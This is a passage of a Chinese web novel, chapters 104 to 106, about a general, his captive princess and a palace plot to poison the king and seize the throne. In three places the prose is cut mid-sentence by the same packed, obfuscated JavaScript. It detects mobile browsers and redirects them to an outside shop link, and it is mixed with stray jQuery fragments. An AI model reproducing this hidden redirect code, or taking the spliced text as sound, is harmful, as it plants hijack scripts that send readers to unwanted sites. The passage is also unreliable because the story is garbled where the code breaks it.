延陵宗隐冷嗤。他想告诉她,她的命从来都掌握在他的手里,却听纯懿声音微弱,轻轻道:“延陵宗隐,我太累了,我想放弃了。若是你不愿,我就与他们一起死,黄泉路上也不孤单。若是你愿意,他们能离开,我也算为大庆付出了我的一切。” 纯懿眼皮越来越沉重,双唇张合的幅度也越来越小:“我会留在你身边,把命交给你,直到你死,或者我死。” 延陵宗隐的动作停住。他的手上全是黏腻的血,有她的,也有他的。本来是他最熟悉的感觉,可此刻,不知为何,却只觉得异常滚烫,寸寸灼烧着他。他看着纯懿精致却苍白的脸,开口时声音哑得吓人,细细听去,甚至还带着几不可察的轻颤:“你说的话,可作数?” 纯懿努力睁开眼皮。她其实已经看不清延陵宗隐的脸,却还是撑起一个微笑,微微点头:“作数。” 延陵宗隐沉默。他如塑像一般定了许久,忽然俯身,在纯懿耳边沉声道:“好,我放了他们。” “阿陌,我再相信你一次。” “最后一次。” 104. 第 104 章 纯懿向来身子骨弱,虽然那把匕首被延陵宗隐及时握了大半,可她却也伤得不轻,躺在床上修养了许久才堪堪好些。 延陵宗隐是将军,自小就在沙场上拼命,比这严重的伤不知受过多少,从来眉头都不皱一下,可对着纯懿这伤口,却整日大惊小怪的,看到她下了地就拧起眉毛,然后冷着脸将她拽回床上去:“好好躺着。” 纯懿被他推入床榻,然后又被他粗手粗脚地裹进被子里,只露出一张小脸,很是有些无奈:“我好多了,想去透透气……” “大冷天的透什么气!”延陵宗隐冷哼,可看到纯懿可怜兮兮的眸子,脸上神情就一僵,轻咳一声,放缓了些语气,“好好养着,要是年前能养好,我带你出去凑热闹。” 纯懿这才意识到,现在已经到了腊月,马上就要到新年了。 新的一年,要来了。 她眨了眨眼睛,视线转到延陵宗隐包着棉巾的手上,声音很是温柔:“你的伤还疼吗?” 其实是疼的。当时情况紧急,为了阻止纯懿的动作,延陵宗隐是用了浑身力气去握那匕首的。等将医官喊来先处理了纯懿的伤口,延陵宗隐手上的血已经在地上积出一滩,手心的皮肉都已经翻了出来,看着狰狞又可怕。 日则医官一边为延陵宗隐包扎,一边明显是想要说些什么,可看着延陵宗隐身上凌厉的气势,又犹犹豫豫不敢开口。最后还是延陵宗隐大发慈悲,赏了他一个“说”字,日则医官这才开口,连珠一般: “郎主,您这伤口深得很,皮肉暂且不说,差一点就要割断经脉了。您可千万要小心保养,不要用力,不要练武,注意保暖,注意防风,要是恢复不好,以后连握刀都要受影响的!” 日则医官倒也真没夸张。随着天气渐冷,北境的寒风又开始呼啸,连延陵宗隐这般忍耐力极强的人,都好几次觉得伤口痛痒难耐,连带着手腕和手臂上的经脉一起,一抽一抽地跳着疼。 眼下有了纯懿的关心,延陵宗隐只觉温暖熨帖,连伤口的疼痛都感受不到了,却还是板着脸,斜眼看她:“你竟还惦记着我的伤?” 纯懿叹了口气:“既然说好要留在你身边,总是要把心思多放在你身上一点的。” “早这么乖多好。”延陵宗隐大掌用力揉上纯懿发顶,语气不自觉地更轻柔了几分,“我说过,只要你听话,不要惹我生气,我也能让你过得畅意一些,也就不必把自己搞成这幅样子了。” 这话纯懿这就不乐意听了。她推开延陵宗隐的手,自己将自己从被子里挖出来,愤怒地坐起身:“你什么意思?你这是说,你把铺子烧了,还是被逼无奈的?” 延陵宗隐不想再提这件事。他并不后悔烧那铺子或是杀那些人,只是愤懑于纯懿肯定又给他在账上记了一笔。 “行了啊,别没完没了的。”延陵宗隐沉下脸,“我早就发现那铺子有问题了,本来想放过他们的,是你又去找他……” 他这话一出,纯懿更加生气,双臂抱胸,冷笑着看他:“所以是我的错?” 延陵宗隐明白自己说错了话,越描越黑了。他看着面前给他甩脸子的纯懿,却觉她这样的生气又与之前不同,不是水火不容地那般冷嘲热讽,反而像是家常生活里有了矛盾拌嘴的小媳妇,就觉得自己实在没必要与她争执。 甚至心里还有些窃喜。 延陵宗隐皱着眉头盯了她片刻,最后长叹一口气,认命般道:“是我的错。” 有延陵宗隐这般盯着,纯懿的伤口终于赶在正月到来前好得差不多了。似乎是想要表明自己的诚心,延陵宗隐不再限制纯懿出门,甚至连跟着纯懿的人都撤了。 而纯懿也很懂投桃报李的道理,作为回报,她根本都没提要出府的事,闷了的话每日只在院子里散散步,或者去库房里清点堆得满满的东西,甚至连嘉荣帝姬的邀约也推了几次。 这让延陵宗隐的心情很是不错。这天,他一反常态早早就回了府,将纯懿按坐在妆台前,催促身后跟着的一位青年娘子来为她上妆。 纯懿一边任由那娘子在她头上捣鼓,一边疑惑地从镜子里看延陵宗隐:“突然这是做什么?” 延陵宗隐斜靠在旁边,也从镜子里回望她:“今日馈岁,带你出去玩。” 纯懿倒是知道馈岁的。虞娄习俗,在除夕夜前几日,宫中会举办一场盛大的宴席,宴席上,君臣之间互赠岁礼,宴席之后,朝廷便正式封印休假,准备过年。 可纯懿并不觉得这有什么好玩的,作为上京城中不可说的风云人物,她甚至还得要迎接各式各样的打量眼神。 纯懿便有些兴致缺缺:“我不去。” 延陵宗隐却不知怎地,对今日的馈岁异常执着:“丑媳妇也得见公婆。有我在,没人敢对你不敬。” 最后还是拗不过他,纯懿换上一身盛装,跟着延陵宗隐一起去赴宴。 果然如同延陵宗隐所说,这次的宴席上,觥筹交错,热闹非常,却也平和非常。属于他一派系的臣属自不必多说,众位夫人贵女们将纯懿众星捧月围在正中,竟然有以她为首的意思。 其他王族重臣们对着纯懿,就是并不热情,也并不露出什么异色,甚至还会在与她视线交汇时,有礼颔首,然后才转开目光。 纯懿侧眸,看向她旁边正提着一把银刀割羊肉吃的延陵宗隐,只觉这般待遇给的其实不是她,而是她身边这个只要稍微有异就沉下脸来,冷飕飕瞪着人家的人。 延陵宗隐察觉到了纯懿的视线。他动作很是潇洒地从羊腿上最嫩的地方割下一块肉,又仔细将它片成薄薄一片,在各种目光的注视里,把肉片放到纯懿盘中。 “多吃点,”他凑近纯懿耳边,视线颇有些不怀好意地下垂,落在纯懿的胸前,“说不定还能再长长。” 纯懿一愣,待明白过来他指的是什么,气得狠狠剜他一眼,然后反手挑了一块他最讨厌的那种又油又甜的糕点,一整个塞进延陵宗隐嘴里:“快闭嘴吧你。” 延陵宗隐黑眸紧紧盯着纯懿,慢慢咀嚼着嘴里的糕点,那般幽暗炙热的眼神,却像极了正在将她吞吃入腹。 纯懿实在是被延陵宗隐打败了。她正好也吃得差不多了,将筷子放回桌子上,冷着脸:“你继续吃着,我先回马车上了。” “走什么,”延陵宗隐眼疾手快,立刻拉住纯懿的手,“最好玩的这才要开始呢。回来。” 宴席接近尾声时,虞娄大王终于在嘉荣的搀扶下再度出现了。他自从被延陵宗隐气了几场之后,身体状况是肉眼可见地每况愈下,就连今日的岁末宴席,也是只在开始时出现了一会儿,后来就回宫去休息了。 现在见他再次出现,大家纷纷放下手里的东西,站起身来,恭敬向他行礼:“王上。” 虞娄大王点点头,耷拉着眉眼:“既然都吃好了,那就走吧。” 宴席上众人便起身,很是有序地依次走出大殿。 延陵宗隐身份很高,现在是最热门的继位人选之一,自然很是闲适地坐在位置上,一直等到殿里大家都走得差不多了,只剩下虞娄大王、几位王子和重臣等寥寥几人,他才站起身来,整整衣袍,俯下身子,将一只大掌摊在纯懿面前,示意她:“走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723442|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯懿迟疑一瞬,将自己细白的手放入他的掌心,延陵宗隐的五指便收回,紧紧裹住她的手,另一只手虚扶着她的腰侧,带着她起身,也朝外走去。 看见了这一幕的虞娄大王发出一阵惊天动地的咳嗽,就连几位资历很深的大臣也忍不住皱了眉,或是不可思议,或是痛心疾首,目视着延陵宗隐珍而重之将纯懿圈在自己的领地,护在自己的羽翼之下。 到了殿外,聚集的人则更多,之前离席的官员家眷们已经按照权位排成几排,有序等在门口。看到相携出现在大殿门口的两人,窸窣交谈声骤然消失,众人都仰着脖子,很有些目瞪口呆地看着延陵宗隐揽着纯懿的身子,与她一起缓缓走下高高的石阶。 虽然延陵宗隐面上仍是一贯的冷肃,可那小心翼翼的动作和刻意轻缓的脚步,还是让整天在他的威压下瑟瑟发抖的上京众人几乎惊掉了下巴。谁也没想过,向来狠厉的延陵宗隐竟然还能有这么细致的一面,甚至他一只手还帮那女人提着裙角,显然是生怕她摔倒。 一人身形高大健壮,一人姿态袅娜纤细,两人竟然出乎意料地般配。 在这般视线复杂的万众注目之下,纯懿只觉如芒在背,倒是宁愿他们讽刺挖苦她。她面上仍维持着浅淡的笑意,细白的手指却在延陵宗隐掌心微微蜷缩,只稍微一个晃神,脚下就一个踩空,纯懿的身子猛地晃了晃。 幸亏身边的延陵宗隐将她紧紧揽在怀里,才避免了她在众目睽睽之下从台阶上滚下去的惨剧,可她的一只鹿皮小靴却从她脚上滑下,“骨碌骨碌”几个翻滚,跌落在几级台阶之下。 纯懿轻呼一声,僵在了原地,与延陵宗隐面面相觑,默然无语。 延陵宗隐视线在她局促悬在半空中、穿着雪白缎袜的脚上划过,叹了口气。他挥退了急急奔来的宫中侍卫,抬起纯懿一条胳膊,搭在他宽阔的肩臂上,一只手撑着纯懿保持着她的平衡,然后迈开腿,大步朝着台阶下而去,俯下身子,将那只鹿皮小靴捡在了手里。 今日夜宴,宫中四处都挂上了灯饰,大殿周围燃着无数灯烛,闪烁如星。灯火辉煌之中,延陵宗隐转回了身。他站得比纯懿低三五个台阶,两人的个头终于保持了平齐,一双黑眸直视着纯懿,看着她的眸中没了平日的戾气,却多了几分恨恨和无奈。 只迟疑了一瞬,延陵宗隐忽然伸出一条长腿,向上迈了一步,踏在纯懿所站的下一级台阶之上。 然后,他握着她只着缎袜的脚,让她踩上了他的大腿。 倒抽冷气的声音此起彼伏,就连纯懿也很是惊诧。她看着延陵宗隐在她面前弯下了腰,轻轻提起她的脚,将她的那只鹿皮小靴仔细套回她的脚上,然后也不顾鞋底脏污,再次让她踩在他大腿之上,还不忘伸手拍了拍鞋面,拂去鞋子刚刚滚下台阶时沾上的灰尘。 左右端详了一会儿,他似乎终于满意。延陵宗隐抬眸,维持着弯腰的姿势仰望着纯懿,在周围一片噪杂中沉静看了她许久,这才开口:“故意的?” 纯懿一怔,想到他刚刚带着些愤愤的神情,这才猜到他的意思。延陵宗隐恐怕是认为,她这是故意踢掉鞋子,然后逼他去为她捡鞋,想让他在众目睽睽之下对她低头,让他在王族朝臣中丢脸难堪。 天地良心,现在的纯懿如何还敢有这般想法? 可还没等她辩驳,延陵宗隐忽然扯唇,露了个笑容来:“故意的也没事。” 明灭的灯火在他眸中闪耀,竟让无底黑谭也化作阳光下的斑斓溪涧。延陵宗隐看着纯懿,轻声道:“我也说话作数。这样……你是不是可以把心思再往我身上多放一点?” 105. 第 105 章 延陵宗隐所说的好玩的,是指今年岁末的一场烟花。 烟花是新鲜玩意儿,刚从南庆传来不久,可能是因着今年虞娄纷乱不断,虞娄大王也疫病缠身,为着图个好彩头,由虞娄王族出资,早早就在宫门外搭起了几十个烟花架子,准备好了充足的烟花。 待宫中夜宴一结束,众人便浩浩荡荡从正殿出发,按着次序登上宫墙,各自寻自己的位置站好。 宫门外已经是人山人海,大家都听闻了今日有这般稀罕热闹,早早就呼朋引伴地赶来占个好位置,翘首以盼着。待到高高的宫墙上开始出现隐约的人影,等待已久的上京百姓便纷纷提振起了精神,除了期待着烟花,还抻着脖子朝着宫墙上张望。 听闻今日宫中有宫宴,能去参加的都是王族贵胄。大家都很少有机会能一次见到这么多贵人,当然想要抓住机会,一睹他们的真容。 延陵宗隐携着纯懿,跟在虞娄大王和嘉荣的身后走过长长石阶,登上宫墙,从已经站定的人群中穿行而过,走到最中间去。一路行来,路过候着的所有人如同潮水般俯身行礼,待到立到最前面,眼前猛然一亮,宫墙下熙熙攘攘的人群出现在视线中,而因着他们出现而骤然爆发的欢呼也响彻在耳畔。 被如此多臣民热切仰望着,虞娄大王的脸色终于好看了一些。他推开了嘉荣的搀扶,独自走到墙垛的最前方,高高举起右手,又激起一阵更大的欢呼和祝诺。 嘉荣恭顺退后一步,便站到了纯懿身边。 虞娄大王扬声而笑,本来想对着百姓们慷慨激昂讲上几句,以此来彰显自己的王者威严,可夜晚风凉,甚至有些刺骨,他刚被吹了几下就忍不住又开始咳嗽,只得不甘不愿地闭了嘴,急忙挥手示意点火。 小小一簇火苗顺着引线飞快移动,在众人的注视之下,“呼啦”一声,璀璨的光点从高高的烟花架子上倾泄而下,如同当空银河落入九天,又像纷飞的花瓣从枝头飘落,火树银花,绚烂夺目,真是美得惊人。 第一批烟火燃尽后,众人还有些意犹未尽,可短暂的黑暗之后,随着轻微的“哔剥”之声,眼前光华骤然重新点亮,瀑布一般从快有三人高的烟火架子上奔流而下,比之前要更高,也更亮、更密、更好看。 人群中顿时发出惊呼与赞叹,就连纯懿也不由为这样壮观的美景所沉醉,下意识向前迈出一小步,想要看得更清楚一些。 只前进了一小步,纯懿却仿佛离开了什么无形的庇护似的,寒风骤然呼啸吹来,将她的发吹得在空中飞舞。身上裹着的狐裘也无法阻挡这凄厉的夜风,寒冷的空气从她的衣襟处灌进去,让纯懿不由自主打了个寒噤。 可下一刻,一个人影随着她迈前一步,呼啸的寒风骤然消失。周身重新温暖起来,纯懿偏头,看到了重新站在她身边的延陵宗隐。 延陵宗隐棱角分明的面庞在闪烁的光影之中英俊的出奇,甚至周身的凌冽也被周围的热闹驱散,少了几分冷意,多了不少人间的温暖烟火气。他的大掌干燥炙热,还缠着一层薄薄的棉巾,露在外面的手指都带着厚厚的茧子,可却极为有力,坚定地揽着她,在她毫无所觉的时候,为她挡去了所有的刺骨寒刀。 纯懿仰头,看着他泛着浅浅青色的下颌,和他衣袍上猎猎飞舞的一圈绒毛,有些迟疑地开口:“你……” 延陵宗隐垂下眸子。他眼中也映着绚烂的烟火,唇边勾着浅浅的笑容,不知是不是纯懿的错觉,只觉他语气甚至有些温柔:“怎么了?冷?” 没等纯懿开口,他已经放开了搂着纯懿的手。延陵宗隐肩宽背阔,猿臂伸展,下一刻,纯懿身上一沉,刚刚还披在他身上的大氅就挂在了纯懿肩头。 温暖顿时席卷而来,将她紧紧环绕。延陵宗隐微微俯身,仔细用大氅将她包裹起来,又认真系上脖间系带,将双手搭在她肩头,端详了好久,这才满意点头,重新站直了身子,立于风口。 没了大氅,延陵宗隐身上只剩下了一套普通皮质袍子,在猛烈的风中摆动,更衬得他身姿挺拔,英武精干。 可看着就冷得很。 纯懿去扯他的袖子,延陵宗隐便躬身垂头,就着纯懿的高度来听她说话。听纯懿说要把大氅还给他,延陵宗隐嗤笑一声,一双大掌牢牢按在她的后背,重又直起身子:“我是男人。” “男人怎么了,”纯懿嘟囔,干脆直接去解那系带,“男人就不冷了吗?你快拿回去,我不需要。” 延陵宗隐怎么肯让她脱下。他这次甚至都不必躬身,只揽着她的双臂一个使力,就将她紧紧箍在怀中,动弹不得。 看纯懿还是一副不情不愿的样子,延陵宗隐忽然一笑,将她朝着自己怀里深处又压了压,凑到她耳边,很是好心的提议:“不然你抱紧我一点儿?这可比这破衣服管用。” 纯懿瞪他,轻哼一声,用胳膊撞他一下,转头继续去看那烟花。 他们两人站得极其中间,也极其靠前,虽说大臣官眷们来是欣赏烟花的,可谁又能真心无旁骛地只看烟花?各个都分心关注着虞娄大王及最中间那几人的动向。延陵宗隐和纯懿两人的这番拉扯,看似是不引人注意,可却尽数落在周围有心之人的眼中。 虞娄大王自然也看到了。延陵宗隐所做一切出格之事,都是因为这个大庆女人,他本就对纯懿不满,要不是延陵宗隐像看眼睛珠子一般护得紧,他早就寻了机会处理了她了。 眼下看这两人在宫门口卿卿我我还不够,还跑到这宫墙上、当着上京百姓的面拉拉扯扯,虞娄大王就更是一股怒意涌上心头。 他沉下脸,厉声道:“老二,你过来。” 不管私底下闹得如何不可开交,众目睽睽之下,延陵宗隐还是得给虞娄大王一些面子的。他正准备过去,可又担心他走了,纯懿被冷风吹病了怎么办,便生生停下了提起的脚步,扬声道:“您说,我在这儿也能听得着。” 又把虞娄大王气得够呛。他咬牙切齿:“给老子滚过来!” 延陵宗隐不想过去。眼看着父子两人要当着臣僚百姓的面闹起来,嘉荣适时上前,挽住纯懿的胳膊,笑着对延陵宗隐道:“宗隐郎主还是过去吧。我护着妹妹。” 纯懿也轻推他的胳膊,压低了声音催促:“快过去。那是你父亲,又是虞娄大王,别在这里给他难堪。” 延陵宗隐看纯懿一眼,又伸手帮她紧了紧大氅,然后对嘉荣微一颔首,大步走过去,侧耳听虞娄大王说话。可那眸光却牢牢定在纯懿身上,片刻都不曾离开。 嘉荣与纯懿都是瘦弱身材,没了延陵宗隐,果然很快就觉出寒冷来。两人寻觅了一会儿,便相携着后退了一些,寻了处靠着宫墙的地方避风,紧紧依偎在一起。 嘉荣双唇几乎不动,声音也在喧闹声中低不可闻:“……还剩最后一包药,他就可以归西了。不过,看现在的状况,延陵宗隐声势最大,是最有可能继位的人。如果他顺利成为新王,以他对你的掌控欲,恐怕你再难逃脱他的控制。” “那就让他不要顺利继位。”纯懿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727800|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半张脸都陷在延陵宗隐的大氅中,只露出一双晶莹的眼睛,“虽然他是王位最有力的竞争者,但其他王子也并没放弃,只不过被他的声势所迫,不敢与他撕破脸争抢而已。谋杀太子、灭唐括全族,还有最近放庆人南归导致不少贵族利益受损,他身上的雷多着呢,想要讨伐他,能找出无数个理由。” 嘉荣侧脸看向纯懿,她精致的眉眼随着明灭的烟火忽明忽暗,总是让她看不清她的真是想法。 嘉荣忽然一笑,开口却换了个话题:“之前我问过你,是不是坚持要动手,你回答说是。那今日我再问你一句,纯懿,你就没有一点不忍心吗?” 沉默。纯懿抬眸,看向不远处的延陵宗隐。他正听虞娄大王说话,脸上带着明显的不耐,可在对上纯懿投去的视线时,冷厉的眉宇却稍稍消融,甚至还对着纯懿做了一个合上衣襟的动作。 纯懿垂头一看,这才发现大氅不知何时已经被风吹开,露出里面她的衣裙。 纯懿便伸手将大氅重新拢好,然后对着延陵宗隐露出一个笑容来,低低回答道:“没有。” 嘉荣看着纯懿带上些隐忍的神情,只觉胸口闷闷的。她还想开口劝些什么,纯懿却率先开口,打断了她的话:“大王死后,嘉荣姐姐,那你要怎么办?” 提到这个,嘉荣的神情便也暗淡下来。她的声音轻轻的,说出的话,却重若千钧:“我会矫诏,扶盼儿继位,我作王太后。” 纯懿大惊。她脱口而出:“延陵宗隐不会相信的!” “我知道他不会相信。就算是真的,幼子当政,他也一定不服。”嘉荣侧头看向纯懿,唇边勾出一个浅浅的笑容来,“所以他一定会举兵反叛。这样,再加上一个乱臣贼子的罪名,虞娄任何人都将有理由来讨伐他,而一旦双方交战,虞娄必乱,南庆和蒙古联军就可以趁势起兵,打到上京来。” 这的确是一个很完美的计划,可是…… “可是嘉荣姐姐,你会死的!不管是延陵宗隐还是谁胜了,都一定会杀了你,也会杀了盼儿的!”纯懿眼眶有些湿润,她紧紧拉着嘉荣的手,语气中不自觉就带上了些哀求,“一定还有别的办法的,不必走到这一步的。嘉荣姐姐,就是不想想你自己,也得为盼儿考虑一下啊,他还不到三岁,还太小了啊!” 这次换嘉荣沉默了。她出神了一会儿,才重露出了个笑容来,拍拍纯懿的手背,安慰她:“你放心,我们说好了,要一起离开虞娄回家的。我不会一直硬撑着的,等虞娄乱了,贤宁和陆将军来接应,我们就走。” 纯懿还想说什么,可延陵宗隐已经冷着脸截断虞娄大王的斥责,大步朝着她们走来了。他先是亲自动手帮纯懿扯紧了大氅,然后对着嘉荣微微颔首,就揽着纯懿,重新走回宫墙前方。 现在已经是第三场烟花了。火星绚烂,浩浩汤汤,却转瞬即逝,湮灭无踪。在震天的欢呼声之中,纯懿回头,看向嘉荣。 嘉荣仍站在黑暗中,双肩纤弱,身姿婷婷,对着她微笑。 纯懿眼中含着热泪,忍住了即将出口的哽咽之声,用尽全力也对着她露了个笑容出来。 延陵宗隐敏锐察觉了纯懿的情绪波动。他垂头,沉声问:“怎么了?” 纯懿也不遮掩。她用袖子轻拭眼角,泪眼朦胧抬起眸子:“新年要到了。” “对,新年要到了。”延陵宗隐点头,拇指在她眼上摩挲,擦去所有湿润,声音竟是从未有过的轻柔:“阿陌,我们的以后,年年仍岁岁,故故复新新。” 106. 第 106 章 岁末宴席之后,还有五天就要过年了。延陵宗隐紧催慢赶,终于赶在年前将财礼全部重铸完成,一箱箱抬进了自己的院子里。 黑塔有些惊讶,听着屋外人来人往的动静,实在忍不住开了口:“郎主,徐娘子就在隔壁,这怎么还抬进您院子里了呢?” 延陵宗隐背对着他,握惯了刀的手此刻正握着一支笔,在墙上写字。听到黑塔的问题,他也没有回头,只是轻嗤一声,继续笔走龙蛇。 真是个傻子,送财礼这么大的事情,怎么能随随便便就送过去?不得等吉日到了再说? 黑塔没等到延陵宗隐的回答,只当延陵宗隐在全心写字,便偷偷抻着脖子,去看延陵宗隐在写什么。 那一块墙皮还是黑塔找人铲回来的,他已经知道徐娘子在上面写的是“无耻”两个字,可延陵宗隐新写的这些他就看不懂了,只觉得笔锋凌厉,带着浓浓的杀伐之意,便猜想他一定是在做什么军事计划,或者干脆一点,要砍了陆双昂什么的。 延陵宗隐写完了,一回身,就对上了黑塔傻愣愣的目光。两人对视片刻,延陵宗隐一声轻笑,缓缓走到桌前放下笔,竟然心情很好的跟他说闲话:“认得吗?” 黑塔又看那几行字一眼,老老实实摇头:“不认得。” 延陵宗隐就伸长胳膊搭在黑塔肩上,用了些力气拍他的肩膀,将魁梧的汉子拍得几个摇晃:“那就好好去讨好她,让她告诉你。” 话中的“她”指得是谁,黑塔自然心知肚明。 黑塔现在对纯懿是又怨又怕,若是细细比较,还是怕更多一些。听延陵宗隐这样说,他后退一步,急忙摇头:“不了不了,其实我也不是很想知道。” 开玩笑,那徐娘子心思那么多,万一被她套路了,或者是一个不察惹了她生气,自家郎主肯定得让他吃不了兜着走。他惹不起,还躲不起吗? 延陵宗隐看黑塔这副对纯懿避若蛇蝎的样子,不由想笑。刚要开口说些什么,外面忽然传来一阵急促的脚步声。紧接着,便是一个亲卫的声音从门口传来,声音郑重:“郎主,宫中急报。” 延陵宗隐的神色便也严肃起来。他擦了擦手,大步朝着门口走去。 虞娄大王的死讯来得很突然,他甚至都没能撑到这个新年。听宫中暗卫来报,说虞娄大王可能是昨天晚上在宫墙上吹了风,回去以后就头疼不止,折腾了半宿,好不容易才喝了药睡下。 因着宫里已经封印,也不必上朝,大家便也没去打扰王上。可一直等到中午时候还不见他起身,大家这才察觉有些不对,急忙去喊时,虞娄大王人都已经硬了。 如此惊变,让整个上京城俱都哗然,可最让众人哗然的事还在后面:那些消息不太灵通的低级官吏甚至还没得到王上已经殡天的消息,十二王妃已经手持王上遗诏,与朝中一些大臣一起,拥护今年还不到三岁的小王子继位了。 上面还有那么多已经成年的兄长,甚至还有延陵宗隐这般功绩赫赫的“狼主”,不管怎么看,小王子都不是最好的选择。若是说王上对延陵宗隐不满,不愿让他继位,蒙古边军里可还是有一个七王子延陵宗覃的,虞娄大王又怎么会让一个还不到三岁的稚儿继位? 这里面没问题就有鬼了。 延陵宗隐是第一批得了消息赶进宫的,可等他站在大殿之上,面对的却是已经穿上了王服的小王子,和端坐在王座垂帘之后的嘉荣王太后。 在先王的后宫里,嘉荣的存在感其实向来不高,大家都只知道她很得先王喜爱,到了后来,甚至超过了正经王后,去哪里都带着她。可她身上有着大庆娘子特有的温婉柔顺,从来不插手政事,也总是低眉垂目的温柔模样,对待大臣都很恭敬,所以提到她,大家都只是嗤一句“以色侍人”,也就罢过了手去。 可现在,她身穿威严的王太后礼服,身影透过王座之后垂着的帘子隐约可见,脊背笔挺,神情端庄,开口说话时,也带着一种自然的属于上位者的威仪。 “二王子,你来得正好,”她甚至连“宗隐郎主”都不叫了,一句“王子”,就钉死了他的身份,“王上骤然殡天,把这沉重的担子交到我们孤儿寡母手上,我们真是惶恐不安,还请二王子多多帮衬才是啊。” 延陵宗隐看着王座上那个懵懂的小孩,和坐在他身后如同守护神祗般的影子,冷冷勾起了唇角。 呵,真不愧是那女人的姐妹,两人简直是一样的表里不一,手辣心狠。 延陵宗隐当晚没有回府,纯懿去寻他,很轻易便从延陵宗隐留给她的亲卫那里得到了这个消息。那亲卫很是热心,将现在的形势一一讲给她听,最后还认真建议: “娘子,现在外面局势不明,各家都在四处活动,尤其是十二王妃……有不少人都对她不满,很可能会来找您麻烦。郎主走之前,特意叮嘱我们要保护好您,还请您千万小心,有什么事情,让我们去做就好。” 纯懿含笑点头,路过门口时,看到府外的几个乞丐正在寒风中瑟瑟发抖,心中不忍,顺口让侍卫给他们取了些饭食,然后才带着塞里,慢悠悠回了自己的院子,很听劝的闭门不出。 当日晚上,夜深时分,安武顿背着一个全身都罩着兜帽的人从后门潜入了纯懿的院子,悄无声息出现在纯懿面前。 纯懿衣着齐整,显然根本没有入睡,看到来人,也没有一点惊讶的神情:“孟大人。” 那人掀开兜帽,果然是孟曹勋沧桑的脸。他对着纯懿行礼,口中还是称呼“帝姬”,将身上披风解下,手里竟然还牵着一个男孩。 这个男孩只有五六岁的样子,还没有留头,只头顶和后脑梳着两条小辫,不少头发却已经从辫子里掉了出来,杂乱垂在脑袋上,显然是来得有些慌乱。 可他一双褐色眸子却很是平静,看到陌生的纯懿也不害怕,直勾勾盯着她,小小的手掌握成拳头,垂在身侧微微颤抖。 纯懿伸出右手,轻柔抚过他圆鼓鼓的脸颊,露出一个温柔的笑容来:“我帮你梳梳头发吧。” 小男孩还是很提防的看着纯懿,紧紧抿着唇不说话。 纯懿也不生气。她的语气更加柔和,耐心征求着他的同意:“我梳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729624|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辫子可好看了,试试好不好呀?” 她手心温暖,笑容温柔,很像母亲。小男孩渐渐就红了眼眶,却倔强地瞪着眼睛,不肯让眼泪落下。 纯懿知道他这是同意了。她便走到小男孩身后,慢慢解开他与头发缠绕在一起的发带,又以五指为梳,轻柔在他发间穿梭,帮他理顺每一根发丝,然后灵巧翻转着手指,重新辫好了两个小辫子。 她很满意自己的成果,双手搭着他单薄的肩头,对他笑:“真好看。” 然后又轻轻道:“你不要害怕,姐姐问你几个问题,好吗?” 小男孩看着五官精致的纯懿,沉默一会儿,点了点头。 纯懿心下一松。她干脆坐在小男孩身边,像朋友聊天一般开口:“那天……父亲还有哥哥姐姐们说的话,你都听到了,对吗?他们交代给你了一些事,让你帮忙完成,你愿意去做吗?” 小男孩神情顿时警惕起来。他很是提防地后退一步,靠到孟曹勋身边,眼神竟然透出几分凶狠来。 孟曹勋与纯懿对视一眼,弯下腰,慈祥地抚慰他:“原哥儿别怕,就是这个姐姐让我们救了你的。我们没有恶意,我们想帮你。” 经过这段时间的相处,小男孩还是很亲近孟曹勋的。他迟疑一会儿,最后还是点了点头,只是神情依然很是警惕。 纯懿也不戳穿他,继续问道:“那你有证据吗?” 孟曹勋扯了扯那个叫原哥儿的小男孩,他才不情不愿地点头,很快却又摇了摇头。 纯懿却明白他的意思。她笑笑,从袖中取出一个小小的盒子,打开,露出里面一块篆刻精致的金属牌子来。 发现原哥儿的眼神骤然明亮,纯懿便知道,她猜得没错,他手里少的那个关键证据,就是这个了。 她毫不吝啬,将这个盒子递到原哥儿面前,微笑示意:“拿着吧。” 原哥儿这次也毫不犹豫,似乎生怕她反悔似的,上前一步就要来抢。纯懿却眼疾手快,收回了手,让那小男孩扑了个空。 自进来以后,原哥儿第一次开口。他声音沙哑,像是哭了很久坏了嗓子似的,如同一只小兽一般嘶吼:“给我!” “我会给你的,但是原哥儿,你要先想清楚,你要不要这样做。”纯懿笑容稍浅,脸上的神情就严肃了些,“如果害怕,你可以远走高飞,孟爷爷会送你离开,你一定可以活下去。但是如果你踏出这一步……” “我不走!”原哥儿眼眶通红,直接打断了纯懿的话,很是坚决道,“我全家都死了!我什么都不怕!把东西给我!” 纯懿看着面前这个小男孩,竟然恍惚像是看到了几年前的自己。 她轻叹了口气,再次确认:“你真的想好了吗?” 原哥儿没再开口,直接扑上来抢纯懿手里的东西,用行动代替自己的回答。 